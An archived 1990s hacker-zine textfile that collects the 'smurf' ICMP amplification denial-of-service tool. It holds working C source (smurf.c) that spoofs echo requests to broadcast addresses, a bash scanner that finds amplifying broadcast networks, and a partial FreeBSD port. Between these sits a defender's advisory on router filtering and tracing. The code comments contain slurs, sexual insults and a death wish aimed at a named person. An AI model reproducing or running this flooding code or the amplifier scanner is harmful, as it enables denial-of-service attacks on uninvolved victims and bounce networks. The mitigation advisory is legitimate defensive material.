home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Textfiles / zines / Happle / happle10.sit.hqx / Happle#10 / Files / Denial.sit / DoS / smurf.c < prev    next >
Text File  |  1998-12-09  |  37KB  |  966 lines

  1. Well, I suppose its `safe' to release this, it seems everyone and their dog has
  2. it and apparantly (and to my surprise) it still works.
  3.  
  4. The `smurf' attack is quite simple.  It has a list of broadcast addresses which
  5. it stores into an array, and sends a spoofed icmp echo request to each of those
  6. addresses in series and starts again.  The result is a devistating attack upon
  7. the spoofed ip with, depending on the amount of broadcast addresses used,
  8. many, many computers responding to the echo request.
  9.  
  10. Before I continue may I first say that this code was a mistake.  When it was
  11. written I was not aware of the fact that a) the world would get its hands on it
  12. and b) it would have such a destructive effect on the computers being used to
  13. flood.  My ignorance is my mistake.  I extremely regret writing this, but as
  14. you well know, if things aren't `exploited' then they aren't fixed.
  15.  
  16. Now that that's cleared up, how do you protect your network?  Well,
  17. unfortunatly I am not sure how or even if it is possible to protect yourself
  18. from being hit with it, unless you wanted to deny all incoming icmp traffic at
  19. the router which isn't the best solution as it renders other useful oddities
  20. (such as ping and traceroute) unusable.  To prevent your network from being
  21. used to flood (using up almost all your bandwith therefore creating a denial
  22. of service upon yourself.. technically) is quite easy and not a great loss to
  23. your network.  If you filter all incoming icmp traffic to the broadcast address
  24. at the router none of the machines will respond therefore the attack will not
  25. work.  This can be done with one line in the router, and I believe a rep from
  26. texas.net posted the solution for this (perhaps it could be reposted?).
  27.  
  28. I believe MCI is currently working on a patch or dectector of some kind for it,
  29. which is available at
  30.         http://www.internetnews.com/isp-news/1997/10/0901-mci.html
  31.  
  32. Please, patch your networks, if there's nothing to flood with then there's no
  33. flood.
  34.  
  35. Respectfully,
  36.  
  37. TFreak
  38.  
  39. --- 8< smurf4.c >8 ---
  40.  
  41. /*
  42.  *
  43.  *  $Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $
  44.  *
  45.  *  spoofs icmp packets from a host to various broadcast addresses resulting
  46.  *  in multiple replies to that host from a single packet.
  47.  *
  48.  *  mad head to:
  49.  *     nyt, soldier, autopsy, legendnet, #c0de, irq for being my guinea pig,
  50.  *     MissSatan for swallowing, napster for pimping my sister, the guy that
  51.  *     invented vaseline, fyber for trying, knowy, old school #havok, kain
  52.  *     cos he rox my sox, zuez, toxik, robocod, and everyone else that i might
  53.  *     have missed (you know who you are).
  54.  *
  55.  *     hi to pbug, majikal, white_dragon and chris@unix.org for being the sexy
  56.  *     thing he is (he's -almost- as stubborn as me, still i managed to pick up
  57.  *     half the cheque).
  58.  *
  59.  *     and a special hi to Todd, face it dude, you're fucking awesome.
  60.  *
  61.  *  mad anal to:
  62.  *     #madcrew/#conflict for not cashing in their cluepons, EFnet IRCOps
  63.  *     because they plain suck, Rolex for being a twit, everyone that
  64.  *     trades warez, Caren for being a lesbian hoe, AcidKill for being her
  65.  *     partner, #cha0s, sedriss for having an ego in inverse proportion to
  66.  *     his penis and anyone that can't pee standing up -- you don't know what
  67.  *     your missing out on.
  68.  *
  69.  *     and anyone thats ripped my code (diff smurf.c axcast.c is rather
  70.  *     interesting).
  71.  *
  72.  *     and a HUGE TWICE THE SIZE OF SOLDIER'S FUCK TO AMM FUCK YOU to Bill
  73.  *     Robbins for trying to steal my girlfriend.  Not only did you show me
  74.  *     no respect but you're a manipulating prick who tried to take away the
  75.  *     most important thing in the world to me with no guilt whatsoever, and
  76.  *     for that I wish you nothing but pain.  Die.
  77.  *
  78.  *  disclaimer:
  79.  *     I cannot and will not be held responsible nor legally bound for the
  80.  *     malicious activities of individuals who come into possession of this
  81.  *     program and I refuse to provide help or support of any kind and do NOT
  82.  *     condone use of this program to deny service to anyone or any machine.
  83.  *     This is for educational use only. Please Don't abuse this.
  84.  *
  85.  *  Well, i really, really, hate this code, but yet here I am creating another
  86.  *  disgusting version of it.  Odd, indeed.  So why did I write it?  Well, I,
  87.  *  like most programmers don't like seeing bugs in their code.  I saw a few
  88.  *  things that should have been done better or needed fixing so I fixed
  89.  *  them.  -shrug-, programming for me as always seemed to take the pain away
  90.  *  ...
  91.  *
  92.  *
  93.  */
  94.  
  95. #include <signal.h>
  96. #include <stdio.h>
  97. #include <stdlib.h>
  98. #include <sys/socket.h>
  99. #include <sys/types.h>
  100. #include <netinet/in.h>
  101. #include <netinet/ip.h>
  102. #include <netinet/ip_icmp.h>
  103. #include <netdb.h>
  104. #include <ctype.h>
  105. #include <arpa/inet.h>
  106. #include <unistd.h>
  107. #include <string.h>
  108.  
  109. void banner(void);
  110. void usage(char *);
  111. void smurf(int, struct sockaddr_in, u_long, int);
  112. void ctrlc(int);
  113. unsigned short in_chksum(u_short *, int);
  114.  
  115. /* stamp */
  116. char id[] = "$Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $";
  117.  
  118. int main (int argc, char *argv[])
  119. {
  120.    struct sockaddr_in sin;
  121.    struct hostent *he;
  122.    FILE   *bcastfile;
  123.    int    i, sock, bcast, delay, num, pktsize, cycle = 0, x;
  124.    char   buf[32], **bcastaddr = malloc(8192);
  125.  
  126.    banner();
  127.    signal(SIGINT, ctrlc);
  128.  
  129.    if (argc < 6) usage(argv[0]);
  130.  
  131.    if ((he = gethostbyname(argv[1])) == NULL) {
  132.       perror("resolving source host");
  133.       exit(-1);
  134.    }
  135.    memcpy((caddr_t)&sin.sin_addr, he->h_addr, he->h_length);
  136.    sin.sin_family = AF_INET;
  137.    sin.sin_port = htons(0);
  138.  
  139.    num = atoi(argv[3]);
  140.    delay = atoi(argv[4]);
  141.    pktsize = atoi(argv[5]);
  142.  
  143.    if ((bcastfile = fopen(argv[2], "r")) == NULL) {
  144.       perror("opening bcast file");
  145.       exit(-1);
  146.    }
  147.    x = 0;
  148.    while (!feof(bcastfile)) {
  149.       fgets(buf, 32, bcastfile);
  150.       if (buf[0] == '#' || buf[0] == '\n' || ! isdigit(buf[0])) continue;
  151.       for (i = 0; i < strlen(buf); i++)
  152.           if (buf[i] == '\n') buf[i] = '\0';
  153.       bcastaddr[x] = malloc(32);
  154.       strcpy(bcastaddr[x], buf);
  155.       x++;
  156.    }
  157.    bcastaddr[x] = 0x0;
  158.    fclose(bcastfile);
  159.  
  160.    if (x == 0) {
  161.       fprintf(stderr, "ERROR: no broadcasts found in file %s\n\n", argv[2]);
  162.       exit(-1);
  163.    }
  164.    if (pktsize > 1024) {
  165.       fprintf(stderr, "ERROR: packet size must be < 1024\n\n");
  166.       exit(-1);
  167.    }
  168.  
  169.    if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
  170.       perror("getting socket");
  171.       exit(-1);
  172.    }
  173.    setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *)&bcast, sizeof(bcast));
  174.  
  175.    printf("Flooding %s (. = 25 outgoing packets)\n", argv[1]);
  176.  
  177.    for (i = 0; i < num || !num; i++) {
  178.       if (!(i % 25)) { printf("."); fflush(stdout); }
  179.       smurf(sock, sin, inet_addr(bcastaddr[cycle]), pktsize);
  180.       cycle++;
  181.       if (bcastaddr[cycle] == 0x0) cycle = 0;
  182.       usleep(delay);
  183.    }
  184.    puts("\n\n");
  185.    return 0;
  186. }
  187.  
  188. void banner (void)
  189. {
  190.    puts("\nsmurf.c v4.0 by TFreak\n");
  191. }
  192.  
  193. void usage (char *prog)
  194. {
  195.    fprintf(stderr, "usage: %s <target> <bcast file> "
  196.                    "<num packets> <packet delay> <packet size>\n\n"
  197.                    "target        = address to hit\n"
  198.                    "bcast file    = file to read broadcast addresses from\n"
  199.                    "num packets   = number of packets to send (0 = flood)\n"
  200.                    "packet delay  = wait between each packet (in ms)\n"
  201.                    "packet size   = size of packet (< 1024)\n\n", prog);
  202.    exit(-1);
  203. }
  204.  
  205. void smurf (int sock, struct sockaddr_in sin, u_long dest, int psize)
  206. {
  207.    struct iphdr *ip;
  208.    struct icmphdr *icmp;
  209.    char *packet;
  210.  
  211.    packet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
  212.    ip = (struct iphdr *)packet;
  213.    icmp = (struct icmphdr *) (packet + sizeof(struct iphdr));
  214.  
  215.    memset(packet, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
  216.  
  217.    ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
  218.    ip->ihl = 5;
  219.    ip->version = 4;
  220.    ip->ttl = 255;
  221.    ip->tos = 0;
  222.    ip->frag_off = 0;
  223.    ip->protocol = IPPROTO_ICMP;
  224.    ip->saddr = sin.sin_addr.s_addr;
  225.    ip->daddr = dest;
  226.    ip->check = in_chksum((u_short *)ip, sizeof(struct iphdr));
  227.    icmp->type = 8;
  228.    icmp->code = 0;
  229.    icmp->checksum = in_chksum((u_short *)icmp, sizeof(struct icmphdr) + psize);
  230.  
  231.    sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize,
  232.           0, (struct sockaddr *)&sin, sizeof(struct sockaddr));
  233.  
  234.    free(packet);           /* free willy! */
  235. }
  236.  
  237. void ctrlc (int ignored)
  238. {
  239.    puts("\nDone!\n");
  240.    exit(1);
  241. }
  242.  
  243. unsigned short in_chksum (u_short *addr, int len)
  244. {
  245.    register int nleft = len;
  246.    register int sum = 0;
  247.    u_short answer = 0;
  248.  
  249.    while (nleft > 1) {
  250.       sum += *addr++;
  251.       nleft -= 2;
  252.    }
  253.  
  254.    if (nleft == 1) {
  255.       *(u_char *)(&answer) = *(u_char *)addr;
  256.       sum += answer;
  257.    }
  258.  
  259.    sum = (sum >> 16) + (sum + 0xffff);
  260.    sum += (sum >> 16);
  261.    answer = ~sum;
  262.    return(answer);
  263. }
  264.  
  265.  
  266.  
  267.  
  268.  
  269.  
  270.  
  271. --------------------------------------------------------------------------------
  272.  
  273.  
  274. Along these same lines, Craig Huegen has written up some documentation that
  275. gives an in depth explination of smurfing and prevention measures at
  276. http://www.quadrunner.com/~c-huegen/smurf.txt
  277.  
  278. From the web page:
  279. ---------------------------------------------------
  280. THE LATEST IN DENIAL OF SERVICE ATTACKS: "SMURFING"
  281. DESCRIPTION AND INFORMATION TO MINIMIZE EFFECTS
  282.  
  283. Craig A. Huegen
  284. chuegen@quadrunner.com
  285.  
  286. Last Update: Fri Oct 10 12:20 PDT
  287.  
  288. New additions:
  289. * More minor corrections
  290. * Added MCI's DoSTracker program (announced at N+I 10/9/97)
  291. * Changed "helpers" to "bounce sites" (kcooper@bbnplanet.com)
  292. * Added preliminary information about Bay Networks routers
  293.   (jcgreen@netins.net)
  294. * Added further information about Proteon/OpenROUTE routers
  295.   (dts@senie.com)
  296.  
  297. Editor's plea: *please* distribute this information freely, and abide by
  298. my redistribution requirements (see the very end) when doing so.  It's
  299. important that these attacks be minimized, and communication is the only
  300. way to help with this.
  301.  
  302. OVERVIEW:
  303.  
  304. The information here provides in-depth information regarding "smurf"
  305. attacks, with a focus on Cisco routers and how to reduce the effects of
  306. the attack.  Some information is general and not related to an
  307. organization's particular vendor of choice; however, it is written with a
  308. Cisco router focus.  No confirmation has been made to the effects on other
  309. vendors' equipment; however, others have provided me with information for
  310. various vendors, which is provided in the document.  See the
  311. "Acknowledgements" section below for the sources and contact information.
  312. I am happy to accept information from other colleagues who are willing to
  313. provide information about other vendors' products in relation to this
  314. topic.
  315.  
  316. This paper is always being updated as I receive more information about
  317. attacks and work with ways to minimize impact.
  318.  
  319. DESCRIPTION:
  320.  
  321. The "smurf" attack, named after its exploit program, is the most recent in
  322. the category of network-level attacks against hosts.  A perpetrator sends
  323. a large amount of ICMP echo (ping) traffic at broadcast addresses, all of
  324. it having a spoofed source address of a victim.  If the routing device
  325. delivering traffic to those broadcast addresses performs the IP broadcast
  326. to layer 2 broadcast function noted below, most hosts on that IP network
  327. will take the ICMP echo request and reply to it with an echo reply each,
  328. multiplying the traffic by the number of hosts responding.  On a
  329. multi-access broadcast network, there could potentially be hundreds of
  330. machines to reply to each packet.
  331.  
  332. Currently, the providers/machines most commonly hit are IRC servers and
  333. their providers.
  334.  
  335. There are two parties who are hurt by this attack...  the intermediary
  336. (broadcast) devices--let's call them "bounce sites", and the spoofed address
  337. target, or the "victim".  The victim is the target of a large amount of
  338. traffic that the bounce sites generate.
  339.  
  340. Let's look at the scenario to paint a picture of the dangerous nature of
  341. this attack.  Assume a co-location switched network with 100 hosts, and
  342. that the attacker has a T1.  The attacker sends, say, a 768kb/s stream of
  343. ICMP echo (ping) packets, with a spoofed source address of the victim, to
  344. the broadcast address of the "bounce site".  These ping packets hit the
  345. bounce site's broadcast network of 100 hosts; each of them takes the packet
  346. and responds to it, creating 100 ping replies outbound.  If you multiply
  347. the bandwidth, you'll see that 76.8 Mbps is used outbound from the "bounce
  348. site" after the traffic is multiplied.  This is then sent to the victim (the
  349. spoofed source of the originating packets).
  350.  
  351. HOW TO KEEP YOUR SITE FROM BEING THE SOURCE
  352. PERPETRATORS USE TO ATTACK VICTIMS:
  353.  
  354. The perpetrators of these attacks rely on the ability to source spoofed
  355. packets to the "bounce sites" in order to generate the traffic which causes
  356. the denial of service.
  357.  
  358. In order to stop this, all networks should perform filtering either at the
  359. edge of the network where customers connect (access layer) or at the edge
  360. of the network with connections to the upstream providers.
  361.  
  362. Paul Ferguson of cisco Systems and Daniel Senie of Daniel Senie consulting
  363. have written an Internet-draft pertaining to this topic.  See:
  364.  
  365. ftp://ftp.internic.net/internet-drafts/draft-ferguson-ingress-filtering-02.txt
  366.  
  367. for more information on this subject.  The authors expect to have it
  368. published as an Informational RFC prior to the December IETF meeting.
  369.  
  370. HOW TO STOP BEING AN INTERMEDIARY:
  371.  
  372. This attack relies on the router serving a large multi-access broadcast
  373. network to frame an IP broadcast address (such as 10.255.255.255) into a
  374. layer 2 broadcast frame (for Ethernet, FF:FF:FF:FF:FF:FF).  The RFC for
  375. routing states that a router MAY perform this translation for directed
  376. broadcasts.  Because in a few select cases it is desirable, and it hasn't
  377. been proved undesirable (except in the recent DoS attacks), most vendors
  378. have chosen to implement this behavior.  Generally, with IP providers and
  379. the Internet as we know it today, this behavior should not be needed.
  380.  
  381. (Editor's note: I welcome other examples where this is needed in today's
  382. networking--see below for a single example I know of.)
  383.  
  384. Ethernet NIC hardware (MAC-layer hardware, specifically) will only listen
  385. to a select number of addresses in normal operation.  The one MAC address
  386. that all devices share in common in normal operation is the media
  387. broadcast, or FF:FF:FF:FF:FF:FF.  In this case, a device will take the
  388. packet and send an interrupt for processing.
  389.  
  390. Because most host IP stacks pay little attention to the destination
  391. address in the IP header of an ICMP packet, or (if they check the IP
  392. header for ICMP) implement responding to ICMP broadcasts, the packet is
  393. handed to the ICMP layer, where in the case of smurf attacks, an ICMP echo
  394. reply is prepared and shipped out to the spoofed address source of the
  395. packet-- the victim.
  396.  
  397. To stop your Cisco router from converting these layer 3 broadcasts into
  398. layer 2 broadcasts, use the "no ip directed-broadcast" interface
  399. configuration command.  This should be configured on all routers which
  400. provide routing to large multi-access broadcast networks (generally LANs),
  401. with more than 5-10 devices.  It is unnecessary on point-to-point
  402. interfaces, such as POS, serial T1, HSSI, etc., because point-to-point
  403. interfaces will only generate two replies--one for each end of the link.
  404. No testing has been done on multipoint frame-relay; routers on NBMA
  405. networks typically do not forward broadcasts unless explicitly configured
  406. to do so.  Point-to-point sub-interface models will behave like many
  407. point-to-point links--again, this command will have little effect,
  408. stopping only one of the two replies.
  409.  
  410. Other vendor information:
  411.  
  412. * Proteon/OpenROUTE:
  413.   Daniel Senie (dts@senie.com) reports that Proteon/OpenROUTE Networks
  414.   routers have an option to turn off directed broadcasts in the IP
  415.   Configuration menus.  The command sequence to turn them off is:
  416.   *CONFIG (on newer routers) or TALK 6 (on older routers)
  417.   Config>PROTOCOL IP
  418.   IP Config>DISABLE DIRECTED-BROADCAST
  419.   A restart of the router is then required.
  420. * Bay Networks:
  421.   Jon Green (jcgreen@netins.net) reports that under current code, there
  422.   is no way to keep Bay Networks routers from converting layer 3
  423.   broadcasts to layer 2 broadcasts short of applying a per-interface
  424.   filter, eliminating packets to the broadcast.  However, there is a
  425.   feature request to add a configuration option, and it is expected
  426.   to be in BayRS version 12.0.
  427.  
  428. There is one case study where this will stop intended behavior: In the
  429. case where samba (an SMB server for UNIX) or NT is used to "remote
  430. broadcast" into a LAN workgroup so that the workstations on that LAN can
  431. see the server, this will prevent the LAN machines from seeing the remote
  432. server.  This is *only* in the case where there is no WINS server (WINS is
  433. routed unicast) and a "remote broadcast" is being used--it's a rare but
  434. notable condition.
  435.  
  436. INFORMATION FOR VICTIMS AND HOW TO SUPPRESS ATTACKS:
  437.  
  438. The amount of bandwidth and packets per second (pps) that can be generated
  439. by this attack is quite large.  With a 200-host LAN, I was able to
  440. generate over 80 Mbits/sec traffic at around 35 Kpps toward my target--a
  441. pretty significant amount.  The victims receive this because traffic is
  442. multiplied by the number of hosts on the broadcast network used (in this
  443. case, with a 200-host network, I was only required to send 400 Kbits/sec
  444. to the broadcast address--less than one-third of a T1).
  445.  
  446. Many hosts cannot process this many packets per second; many hosts are
  447. connected to 10 Mbit/sec Ethernet LANs where more traffic than wire speed
  448. is sent.  Therefore, the ability to drop these packets at the network
  449. border, or even before it flows down the ingress pipes, is desired.
  450.  
  451. (This next section assumes IOS behavior with standard central switching--
  452. FIB/CEF isn't covered here, the behavior is different, I believe.)
  453.  
  454. Cisco routers have several "paths" which packets can take to be routed;
  455. each has a varying degree of overhead.  The slowest of these is "process"
  456. switching.  This is used when a complex task is required for processing
  457. packets.  The other modes are variations of a fast path--each of them with
  458. a set of advantages and disadvantages.  However, they're all handled at
  459. interrupt level (no process-level time is required to push these packets).
  460.  
  461. In IOS versions (even the most recent), access-list denies are handled at
  462. the process (slow) level, because they require an ICMP unreachable to be
  463. generated to the originating host.  All packets were sent to the process
  464. level automatically to be handled this way.
  465.  
  466. Under a recent code change (Cisco bug ID CSCdj35407--integrated in version
  467. 11.1(14)CA and later), packets denied by an access-list will be dropped at
  468. the interrupt (fast) level, with the exception of 2 packets per second per
  469. access-list deny line. These 2 packets per second will be used to send the
  470. "ICMP unreachable via administrative block" messages.  This assumes that
  471. you don't want to log the access-list violations (via the "log" or
  472. "log-input"  keywords).  The ability to rate-limit "log-input" access-list
  473. lines (in order to more easily log these packets) is currently being
  474. integrated;  see the section below on tracing spoofed packet attacks for
  475. information on logging.
  476.  
  477. Filtering ICMP echo reply packets destined for your high-profile machines
  478. at the ingress interfaces of the network border routers will then permit
  479. the packets to be dropped at the earliest possible point.  However, it
  480. does not mean that the network access pipes won't fill, as the packets
  481. will still come down the pipe to be dropped at the router.  It will,
  482. however, take the load off the system being attacked.  Keep in mind that
  483. this also denies others from being able to ping from that machine (the
  484. replies will never reach the machine).
  485.  
  486. For those customers of providers who use Cisco, this may give you some
  487. leverage with the providers' security teams to help save your pipes by
  488. filtering before the traffic is sent to you.
  489.  
  490. Efforts are underway to integrate these fixes in the other major versions
  491. and branches as well.
  492.  
  493. TRACING SPOOFED PACKET STREAMS:
  494.  
  495. Tracking these attacks can prove to be difficult, but is possible with
  496. coordination and cooperation from providers.  This section also assumes
  497. Cisco routers, because I can speak only about the abilities of Cisco to
  498. log/filter packets and what impact it may have.
  499.  
  500. Today, logging packets which pass through or get dropped in an ACL is
  501. possible; however, all packets with the "log" or "log-input" ACL options
  502. are sent to process level for logging.  For a large stream of packets,
  503. this could cause excessive CPU problems.  For this reason, tracking
  504. attacks via IOS logging today is limited to either lower bandwidth attacks
  505. (smaller than 10k packets per second).  Even then, the number of log
  506. messages generated by the router could overload a syslog server.
  507.  
  508. Cisco bug ID CSCdj35856 addresses this problem.  It has been integrated
  509. into IOS version 11.1CA releases beginning with 11.1(14.1)CA (a
  510. maintenance interim release), and makes it possible to log packets at
  511. defined intervals and to process logged packets not at that interval in
  512. the fast path.  I will update this page with version numbers as the
  513. releases are integrated.
  514.  
  515. Some information on logging:
  516.  
  517. In later 11.1 versions, a new keyword was introduced for ACL logging:
  518. "log-input".  A formatted ACL line utilizing the keyword looks like this:
  519.  
  520. access-list 101 permit icmp any any echo log-input
  521.  
  522. When applied to an interface, this line will log all ICMP ping packets
  523. with input interface and MAC address (for multi-access networks).
  524. Point-to-point interfaces will not have a MAC address listed.
  525.  
  526. Here's an example of the log entry for a multi-access network (FDDI, Ether):
  527.  
  528. Sep 10 23:17:01 PDT: %SEC-6-IPACCESSLOGDP: list 101 permitted icmp
  529. 10.0.7.30 (FastEthernet1/0 0060.3e2f.6e41) -> 10.30.248.3 (8/0), 5 packets
  530.  
  531. Here's an example of the log entry for a point-to-point network:
  532.  
  533. Sep 10 23:29:00 PDT: %SEC-6-IPACCESSLOGDP: list 101 permitted icmp
  534. 10.0.7.30 (BRI0 *PPP*) -> 10.0.19.242 (8/0), 1 packet
  535.  
  536. Substituting "log" for "log-input" will eliminate the incoming interface
  537. and MAC address from the log messages.
  538.  
  539. We'll use the first log entry to demonstrate how to go from here.  This
  540. log entry means the packet came in on FastEthernet1/0, from MAC address
  541. 0060.3e2f.6e41, destined for 10.30.248.3.  From here, you can use "show ip
  542. arp" (if needed) to determine the IP address for the MAC address, and go
  543. to the next hop for tracing or contact the necessary peer (in the case of
  544. an exchange point).  This is a hop-by-hop tracing method.
  545.  
  546. Example of "show ip arp" used to find next hop:
  547.  
  548. netlab#show ip arp 0060.3e2f.6e41
  549. Protocol  Address          Age (min)  Hardware Addr   Type   Interface
  550. Internet  10.0.183.65            32   0060.3e2f.6e41  ARPA   FastEthernet1/0
  551.  
  552. As you can see, 10.0.183.65 is the next hop where the packets came from
  553. and we should go there to continue the tracing process, utilizing the same
  554. ACL method.  By doing this, you can track the spoof attack backwards.
  555.  
  556. While this is general information on tracking spoofed packets, it must be
  557. noted that the victims of a smurf attack get packets from the listed source
  558. in the packets; i.e., they receive echo-reply packets truly from the source
  559. listed in the IP header.  This information should be used by the bounce sites
  560. or intermediaries to track the spoofed echo _request_ packets back to
  561. their source (the perpetrator).
  562.  
  563. MCI's Internet Security team has put together a perl script which, in an
  564. automated fashion, can log into your Cisco routers and trace a spoof attack
  565. back to its source.  The program is available, free of charge.  See
  566. http://www.security.mci.net/dostracker/ for more information.
  567.  
  568. OTHER DENIAL OF SERVICE ATTACKS WORTHY OF MENTION:
  569.  
  570. Two other denial of service attacks frequently encountered are TCP SYN
  571. floods, and UDP floods aimed at diagnostic ports on hosts.
  572.  
  573. TCP SYN attacks consist of a large number of spoofed TCP connection set-up
  574. messages aimed at a particular service on a host.  Older TCP
  575. implementations cannot handle many faked connection set-up packets, and
  576. will not allow access to the victim service.
  577.  
  578. The most common form of UDP flooding directed at harming networks is an
  579. attack consisting of a large number of spoofed UDP packets aimed at
  580. diagnostic ports on network devices.  This attack is also known as the
  581. "pepsi" attack (again named after the exploit program), and can cause
  582. network devices to use up a large amount of CPU time responding to these
  583. packets.
  584.  
  585. To get more information on minimizing the effects of these two attacks,
  586. see:
  587.  
  588. Defining Strategies to Protect Against TCP SYN
  589.   Denial of Service Attacks
  590.   http://cio.cisco.com/warp/public/707/4.html
  591.  
  592. Defining Strategies to Protect Against UDP Diagnostic
  593.   Port DoS Attacks
  594.   http://cio.cisco.com/warp/public/707/3.html
  595.  
  596. PERFORMANCE INFORMATION:
  597.  
  598. One ISP has reported that, spread across three routers (2 RSP2 and 1
  599. RSP4), the fast drop code eliminated a sustained 120 Mbits/sec smurf
  600. attack and kept the network running without performance problems.
  601.  
  602. As always, your mileage may vary.
  603.  
  604. ACKNOWLEDGEMENTS:
  605.  
  606. Thanks to all those who helped review and provide input to the paper, as
  607. well as sanity checking.
  608.  
  609. Specific thanks to:
  610.  
  611. * Ravi Chandra of Cisco Systems for information on the bugfixes.
  612. * Daniel Senie of Daniel Senie Consulting, Jon Green of Bay Networks for
  613.   information on other vendors' equipment.
  614. * Paul Ferguson of Cisco Systems, Kelly Cooper of GTE/BBN, Rob McMillan of
  615.   CERT for sanity-check and review comments.
  616.  
  617. Referenced documents:
  618.  
  619. This section is coming soon. =)
  620.  
  621. PERMISSION TO DUPLICATE:
  622.  
  623. Permission to duplicate this information is granted under these terms:
  624.  
  625. 1.  My name and e-mail address remains on the information as a target for
  626.     questions and identification of the source
  627. 2.  My disclaimer appears on the information at the bottom
  628. 3.  Feel free to add extra information from other discussions, etc., but
  629.     please ensure the correct attribution is made to the author.  Also
  630.     provide Craig Huegen (chuegen@quadrunner.com) a copy of your additions.
  631. 4.  Please help disseminate this information to other network
  632.     administrators who are affected by these attacks.
  633.  
  634. If you have questions, I will be happy to answer them to the best of my
  635. knowledge.
  636.  
  637. MY DISCLAIMER:
  638.  
  639. I'm speaking about this as an interested party only.  All text in this
  640. paper was written by me; I speak/write for no one but myself.  No vendors
  641. have officially confirmed/denied any of the information contained herein.
  642. All research for this paper is being done purely as a matter of
  643. self-interest and desire to help others minimize effects of this attack.
  644.  
  645. Craig A. Huegen
  646. chuegen@quadrunner.com
  647. http://www.quadrunner.com/~chuegen/smurf.txt
  648.  
  649.  
  650.  
  651.  
  652. ----------------------------------------------------------------------------
  653.  
  654.  
  655. T. Freak's posted his smurf code, and there's been a few messages
  656. concerning this d.o.s. attack -- I guess now is a good of a time as any to
  657. release this little script.
  658.  
  659. I'm sure there's a more efficient way of putting something like this
  660. together, but... oh well.  Results of the scan are reported into
  661. ./bips.results
  662.  
  663. note: this script has two parts.
  664.  
  665. --- bips.sh ---
  666.  
  667. #!/bin/bash
  668. # find broadcast ip's that reply with 30+ dupes.
  669.  
  670. # i decided to make this script into two sections. when running this make
  671. # sure both parts are in the same directory.
  672.  
  673. if [ $# != 1 ]; then
  674. echo "$0 <domain - ie: college.edu>"
  675. else
  676. host -l $1 | grep 'has address' | cut -d' ' -f4 > $1.ips
  677. cat $1.ips | cut -d'.' -f1-3 | sort |\
  678. awk '{ print echo ""$1".255" }' > $1.tmp
  679. cat $1.tmp | uniq | awk '{ print "./chekdup.sh "$1"" }' > $1.ping
  680. rm -f $1.ips $1.tmp
  681. chmod 700 $1.ping
  682. ./$1.ping
  683. rm $1.ping
  684. fi
  685.  
  686. --- chekdup.sh ---
  687.  
  688. #!/bin/bash
  689. # this checks possible broadcast ip's for a given amount of icmp echo
  690. # replies.
  691.  
  692. ping -c 2 $1 > $1.out
  693. if
  694. cat $1.out | grep dupl > /dev/null
  695. then
  696. export DUPES="`cat $1.out | grep dupl | cut -d'+' -f2 | cut -d' ' -f1`"
  697. else
  698. export DUPES=1
  699. fi
  700. if [ $DUPES -gt 30 ]; then
  701. echo "$1 had $DUPES dupes" >> bips.results
  702. rm -f $1.out
  703. else
  704. rm -f $1.out
  705. fi
  706.  
  707.  
  708. ------------------------------------------------------------------------------
  709.  
  710.         Here is Tfreaks code ported to FreeBSD and whatever other
  711. operating systems use BSD style sockets.
  712.  
  713. ---- smurf.c ----
  714.  
  715. /*
  716.  * $Id smurf.c,v 5.0 1997/10/13 22:37:21 CDT griffin Exp $
  717.  *
  718.  * spoofs icmp packets from a host to various broadcast addresses resulting in
  719.  * multiple replies to that host from a single packet.
  720.  *
  721.  * orginial linux code by tfreak, most props to him, all I did was port it to
  722.  * operating systems with a less perverse networking system, such as FreeBSD,
  723.  * and many others.  -Griffin
  724.  *
  725.  * mad head to: nyt, soldier, autopsy, legendnet, #c0de, irq for being my guinea
  726.  * pig, MissSatan for swallowing, napster for pimping my sister, the guy that
  727.  * invented vaseline, fyber for trying, knowy, old school #havok, kain cos he
  728.  * rox my sox, zuez, toxik, robocod, and everyone else that i might have
  729.  * missed (you know who you are).
  730.  *
  731.  * hi to pbug, majikal, white_dragon and chris@unix.org for being the sexy thing
  732.  * he is (he's -almost- as stubborn as me, still i managed to pick up half
  733.  * the cheque).
  734.  *
  735.  * and a special hi to Todd, face it dude, you're fucking awesome.
  736.  *
  737.  * mad anal to: #madcrew/#conflict for not cashing in their cluepons, EFnet
  738.  * IRCOps because they plain suck, Rolex for being a twit, everyone that
  739.  * trades warez, Caren for being a lesbian hoe, AcidKill for being her
  740.  * partner, #cha0s, sedriss for having an ego in inverse proportion to his
  741.  * penis and anyone that can't pee standing up -- you don't know what your
  742.  * missing out on.
  743.  *
  744.  * and anyone thats ripped my code (diff smurf.c axcast.c is rather
  745.  * interesting).
  746.  *
  747.  * and a HUGE TWICE THE SIZE OF SOLDIER'S FUCK TO AMM FUCK YOU to Bill Robbins
  748.  * for trying to steal my girlfriend.  Not only did you show me no respect
  749.  * but you're a manipulating prick who tried to take away the most important
  750.  * thing in the world to me with no guilt whatsoever, and for that I wish you
  751.  * nothing but pain.  Die.
  752.  *
  753.  * disclaimer: I cannot and will not be held responsible nor legally bound for
  754.  * the malicious activities of individuals who come into possession of this
  755.  * program and I refuse to provide help or support of any kind and do NOT
  756.  * condone use of this program to deny service to anyone or any machine. This
  757.  * is for educational use only. Please Don't abuse this.
  758.  *
  759.  * Well, i really, really, hate this code, but yet here I am creating another
  760.  * disgusting version of it.  Odd, indeed.  So why did I write it?  Well, I,
  761.  * like most programmers don't like seeing bugs in their code.  I saw a few
  762.  * things that should have been done better or needed fixing so I fixed them.
  763.  * -shrug-, programming for me as always seemed to take the pain away ...
  764.  *
  765.  *
  766.  */
  767.  
  768. #include <signal.h>
  769. #include <stdio.h>
  770. #include <stdlib.h>
  771. #include <netdb.h>
  772. #include <sys/socket.h>
  773. #include <sys/types.h>
  774. #include <netinet/in.h>
  775. #include <netinet/in_systm.h>
  776. #include <netinet/ip.h>
  777. #include <netinet/ip_icmp.h>
  778. #include <ctype.h>
  779. #include <arpa/inet.h>
  780. #include <unistd.h>
  781. #include <string.h>
  782.  
  783. void            banner(void);
  784. void            usage(char *);
